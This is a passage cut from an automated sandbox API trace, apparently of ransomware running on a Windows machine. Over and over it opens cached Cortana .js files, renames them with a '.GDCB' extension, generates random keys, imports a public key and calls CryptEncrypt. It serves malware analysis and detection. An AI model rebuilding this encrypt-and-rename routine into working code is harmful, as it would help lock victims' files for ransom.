Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\a282b3bf[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\a282b3bf[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\a282b3bf[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\a282b3bf[1].js.gdcb")) returned 0 [0227.190] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0227.192] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.193] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.193] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.193] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.194] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.195] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.196] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.196] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.196] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.196] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.199] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64884c0) returned 1 [0227.199] CryptGetKeyParam (in: hKey=0x64884c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.199] CryptEncrypt (in: hKey=0x64884c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.199] GetLastError () returned 0x0 [0227.199] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.199] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.201] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488740) returned 1 [0227.201] CryptGetKeyParam (in: hKey=0x6488740, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.201] CryptEncrypt (in: hKey=0x6488740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.201] GetLastError () returned 0x0 [0227.201] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.201] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\bb5c331f[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\bb5c331f[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0227.204] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0227.205] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bd0000 [0227.207] ReadFile (in: hFile=0x424, lpBuffer=0x7bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bd0000*, lpNumberOfBytesRead=0x285d160*=0x7c70, lpOverlapped=0x0) returned 1 [0227.215] VirtualAlloc (lpAddress=0x0, dwSize=0x7c70, flAllocationType=0x3000, flProtect=0x4) returned 0x7ce0000 [0227.221] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\bb5c331f[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\bb5c331f[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\bb5c331f[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\bb5c331f[1].js.gdcb")) returned 0 [0227.224] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.226] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.228] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.228] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.228] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.228] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.230] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.231] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.231] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.231] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.231] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.234] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488540) returned 1 [0227.234] CryptGetKeyParam (in: hKey=0x6488540, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.234] CryptEncrypt (in: hKey=0x6488540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.234] GetLastError () returned 0x0 [0227.234] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.234] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.236] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64887c0) returned 1 [0227.236] CryptGetKeyParam (in: hKey=0x64887c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.236] CryptEncrypt (in: hKey=0x64887c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.236] GetLastError () returned 0x0 [0227.236] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.236] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\ca2ffdc0[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\ca2ffdc0[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0227.238] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7bc0000 [0227.240] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bd0000 [0227.241] ReadFile (in: hFile=0x424, lpBuffer=0x7bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bd0000*, lpNumberOfBytesRead=0x285d160*=0x48d2, lpOverlapped=0x0) returned 1 [0227.250] VirtualAlloc (lpAddress=0x0, dwSize=0x48e0, flAllocationType=0x3000, flProtect=0x4) returned 0x7ce0000 [0227.256] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\ca2ffdc0[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\ca2ffdc0[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\ca2ffdc0[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\ca2ffdc0[1].js.gdcb")) returned 0 [0227.257] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.260] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.261] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.261] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.261] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.261] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0227.263] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.264] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.264] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.264] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.265] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.267] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488800) returned 1 [0227.268] CryptGetKeyParam (in: hKey=0x6488800, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.268] CryptEncrypt (in: hKey=0x6488800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ba0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.268] GetLastError () returned 0x0 [0227.268] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.268] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.270] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488840) returned 1 [0227.270] CryptGetKeyParam (in: hKey=0x6488840, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.270] CryptEncrypt (in: hKey=0x6488840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.270] GetLastError () returned 0x0 [0227.270] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.270] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\d5ac23a7[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\d5ac23a7[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0227.272] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0227.274] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.275] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.275] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.275] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.275] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.277] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.278] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.278] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.278] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.278] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0227.290] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64880c0) returned 1 [0227.290] CryptGetKeyParam (in: hKey=0x64880c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.290] CryptEncrypt (in: hKey=0x64880c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bc0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7bc0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.290] GetLastError () returned 0x0 [0227.290] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.290] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0227.292] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488100) returned 1 [0227.292] CryptGetKeyParam (in: hKey=0x6488100, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.292] CryptEncrypt (in: hKey=0x6488100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bd0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bd0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.293] GetLastError () returned 0x0 [0227.293] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.293] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\e48237f6[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\e48237f6[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0227.294] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7be0000 [0227.296] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7bf0000 [0227.298] ReadFile (in: hFile=0x424, lpBuffer=0x7bf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7bf0000*, lpNumberOfBytesRead=0x285d160*=0x205f8, lpOverlapped=0x0) returned 1 [0227.306] VirtualAlloc (lpAddress=0x0, dwSize=0x20600, flAllocationType=0x3000, flProtect=0x4) returned 0x7d00000 [0227.315] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\e48237f6[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\e48237f6[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\e48237f6[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\e48237f6[1].js.gdcb")) returned 0 [0227.317] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0227.319] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.321] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.321] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.321] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0227.321] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0227.322] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.323] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.323] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.323] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0227.324] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0227.326] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6489040) returned 1 [0227.326] CryptGetKeyParam (in: hKey=0x6489040, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.326] CryptEncrypt (in: hKey=0x6489040, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bc0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7bc0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.326] GetLastError () returned 0x0 [0227.326] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.326] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0227.330] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488f80) returned 1 [0227.330] CryptGetKeyParam (in: hKey=0x6488f80, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.330] CryptEncrypt (in: hKey=0x6488f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7bd0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7bd0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0227.330] GetLastError () returned 0x0 [0227.330] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0227.330] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\e994e448[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\e994e448[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0227.330] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.332] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.333] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.333] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0227.333] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.334] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0227.335] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0227.336] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0227.336] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0227.336] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0227.336] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0227.339] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6488d00) returned 1 [0227.339] CryptGetKeyParam (in: hKey=0x6488d00, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0227.339] CryptEncrypt (in: hKey=0x6488d00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7be0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7be0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0227.339] GetLastError () returned 0x0 [0227.339] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0227.339] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced 